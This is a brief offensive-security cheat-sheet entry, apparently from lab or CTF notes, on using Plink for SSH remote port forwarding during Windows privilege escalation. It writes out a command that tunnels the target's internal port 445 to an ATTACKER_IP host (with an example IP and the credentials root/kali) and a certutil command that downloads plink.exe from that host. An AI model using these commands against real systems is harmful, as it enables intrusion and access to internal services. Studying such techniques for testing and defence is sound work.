Plink
Description
Plink is the command-line version of PuTTY. It is used for SSH-based port forwarding from Windows machines, commonly used for privilege escalation when you need to forward internal ports.
Usage 1: Remote Port Forwarding
Command:
plink.exe -l <USER> -pw <PASSWORD> -R 445:127.0.0.1:445 <ATTACKER_IP> -P <NEW_SSH_PORT>
Command (Example):
plink.exe -l root -pw kali -R 445:127.0.0.1:445 10.10.16.4 -P 2222
Usage 2: Download Plink with Certutil
Command:
certutil -urlcache -f http://10.10.16.4/plink.exe plink.exe